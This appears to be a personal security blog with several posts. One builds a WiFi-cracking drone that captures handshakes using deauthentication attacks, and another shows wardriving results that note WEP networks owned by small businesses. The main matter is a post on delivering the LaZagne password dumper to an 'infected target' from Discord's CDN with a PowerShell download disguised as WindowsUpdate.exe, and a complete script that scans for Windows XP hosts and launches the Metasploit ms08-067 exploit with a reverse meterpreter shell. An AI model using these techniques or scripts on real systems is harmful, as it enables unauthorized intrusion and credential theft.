Wifi Cracking Drone

I set out to create a drone with WiFi cracking abilities. Since drones can fly, they can minimize interference and maximize signal strength by flying directly above access points. Drones are designed to be light yet powerful. The setup I wanted to use needed to be light as to minimally affect the drones flying ability. I choose a light 1200 mAh battery from Adafruit and their PowerBoost 1000 to convert the batteries voltage to 5V at a steady 1 Amp. This was needed to power the RaspberryPi.

The Software Setup
Setting up the Pi took longer than expected. I began to follow the guide here. I was using a RaspberryPi 3 which has onboard WiFi as mentioned in the guide. Unfortunately because I wanted to utilize the tool set that comes with Kali, I had Kali installed instead of Raspian. This created some problems I’ll talk about later. To start, I installed and setup hostapd and udhcpd as follows:

sudo apt-get install hostapd udhcpd

Then I edited the config file at /etc/udhcpd.conf. I began by commenting out the lines the config file came with and adding the following at the bottom of the file.

start 192.168.42.2
end 192.168.42.20
interface wlan0
remaining yes
opt subnet 255.255.255.0
opt router 192.168.42.1
opt lease 864000

Then I commented out this line in /etc/default/udhcpd

DHCPD_ENABLED=”no”

Then I setup the address and netmask the Pi’s interface needed to use in /etc/network/interfaces.

iface wlan0 inet static
address 192.168.42.1
netmask 255.255.255.0

Next, I setup hostapd by creating the file /etc/hostapd/hostapd.conf. The bottom three lines are crucial to the RaspberryPi and we will return to the driver option later.

interface=wlan0
driver=nl80211
ssid=Drone_Net
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=dronecracker
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
ieee80211n=1 # 802.11n support
wmm_enabled=1 # QoS support
ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]

One last step; editing the #DAEMON_CONF=”” line in the /etc/default/hostapd file to read:

DAEMON_CONF=”/etc/hostapd/hostapd.conf”

Finally we just start up the services and tell them to start on boot!

sudo service hostapd start
sudo service udhcpd start
sudo systemctl enable hostapd
sudo systemctl enable udhcpd

Now back to that driver issue….
Since I was running Kali Linux, after an excruciating amount of time and frustration I found the firmware for the wireless card was simply not installed. Yes I used the SPECIFIC Kali image for the Pi, and NO it didn’t come with the firmware. Inside this firmware package is the nl80211 driver. Anyways, I fixed this with a simple apt-get and a reboot.

apt-get install firmware-brcm80211

The Hardware Setup

The hardware included:
RaspberryPi 3
Short micro-USB cable
Adafruit 1200 mAh battery
Adafruit PowerBoost 1000
TP-Link USB wireless card capable of monitor mode
DJI Mavic Pro

The PowerBoost’s connectors needed to be soldered on before I could continue.
Below is a picture before the hardware was put on the drone.

Flight

After a large amount of electrical tape, we were ready for flight.

It works!

Analysis

The whole system worked surprisingly well. I was able to connect to the network the Pi was making with no problems. From there I ssh’d into the Pi. The aircrack-ng suite I used to capture the 4-way WiFi handshake worked decently. From what I could tell, the Pi just didn’t have enough power to make it’s own network AND run a network card in monitor mode. It just wasn’t discovering very many networks and struggled to capture the actual handshake after many de-auth attacks. A larger battery at a higher amperage could fix this.

EDIT 10/30/2017
After some issues with udhcpd I switched to isc-dhcp-server. Much faster and more reliable address assignment.

Using Discord’s CDN for Malware Delivery

According to Google a CDN is:

A content delivery network (CDN) is a system of distributed servers (network) that deliver webpages and other Web content to a user based on the geographic locations of the user, the origin of the webpage and a content delivery server.

Discord uses https://cdn.discordapp.com/ to display their content.
For example, when I send an image in a Discord server it is assigned a unique URL.
So I placed this image in an empty Discord server named testing.

But anyone can view it here.

What This Means

Discord’s CDN can be used to deliver malware to a target. In this case, I’m using Discord’s CDN servers to deliver LaZagne to an infected target. You can read about LaZagne here. In short, it dumps passwords from various apps and locations on Windows.

On the infected target, use PowerShell to download the file.

PS C:\Users\Ryan> Invoke-WebRequest -Uri https://cdn.discordapp.com/attachments/297956570850131968/297967232439418880/laZagne.exe -OutFile WindowsUpdate.exe

This has other implications as well. This link could be used in an email attachment for a basic phishing attack.

ms08-067 Remote Code Execution Automation

Microsoft Security Bulletin on the vulnerability.

Script for automation of discovery and exploitation of Windows XP ms08-067 remote code execution vulnerability.

Setup
chmod +x ms08-67auto.sh
./ms08-67auto.sh

What It Does
Enter an ip and a subnet for nmap to scan
nmap scans the OS’s and ports 139 and 445
grep filters results to only Windows XP or Server 2003
Prints results and confirm you want to attack
Gathers RHOST RPORT LHOST and LPORT values for a metasploit rc file
Opens created rc file in metasploit
Run exploit -j to begin

#!/bin/bash
read -p $’\e[1;32mEnter the ip and subnet ex. 10.0.0.0/24:\e[0m ‘ ipsubnet
echo -e “\e[1;31mScanning for ports 445 and 139\e[m”
scan=$(sudo nmap $ipsubnet -O -p 445,139)
ports=$(echo “$scan” | grep -E -B 3 -A 7 ‘445/tcp open|139/tcp open’ | grep -E -B 8 ‘Microsoft Windows XP|Microsoft Windows Server 2003’)
echo “$ports”
#echo $scan
read -p ‘Is there a target to attack? Press y:’ attack
if [ “$attack” = “y” ]; then
read -p $’\e[1;31mTarget IP address:\e[m’ rhost
read -p $’\e[1;31mWhich port is the service running on?:\e[m’ rport
read -p $’\e[1;31mWhich ip would you like to connect back too?:\e[m’ lhost
read -p $’\e[1;31mWhich port would you like to connect back on?:\e[m’ lport
sudo service postgresql start
echo -e “use exploit/windows/smb/ms08_067_netapi\nset RHOST $rhost\nset RPORT $rport\nset PAYLOAD windows/meterpreter/reverse_https\nset LHOST $lhost\nset LPORT $lport\nset ExitOnSession false” > windowsxp.rc
msfconsole -q -r windowsxp.rc

else
exit
fi
# 445 and 139

https://github.com/n00shE/ms08-067automation

WiFi Encryption with WiGLE WiFi

I drove around the main roads in my town using WiGLE WiFi on a Nexus 5.

Then exported the results to a KML file. Totaled over 10,200 WiFi Networks.

I wasn’t shocked to see about 150 WEP networks.

A few of these networks were owned by small business.

 

 

Creating a CS:GO Server on a VPS

I started with a $5 DigitalOcean droplet with only:

1 CPU

512 MB RAM

20 GB SSD

Running Ubuntu 16.04.1

You may want to upgrade 30 GB because big updates can fill up your space

According to the Valve Developer Community, start with creating a new user. Running Steam as a super user is not recommend.

As the root user, create the steam user:

useradd -m steam

I would also add Steam to the sudo group

usermod -aG sudo steam

Log into the Steam account

su - steam

Start by installing the dependencies for SteamCMD

sudo apt-get install lib32gcc1

Create the directory to install SteamCMD

mkdir ~/Steam && cd ~/Steam

Download SteamCMD

curl -sqL "https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz" | tar zxvf

Launching and logging in

cd ~/Steam
./steamcmd.sh
login anonymous

Choose a directory (./ creates folder in current directory)

force_install_dir ./cs_go/

Install CS:GO

app_update 740 validate

Install Sourcemod and Metamod next
CPU usage around 80% with 9 players on retakes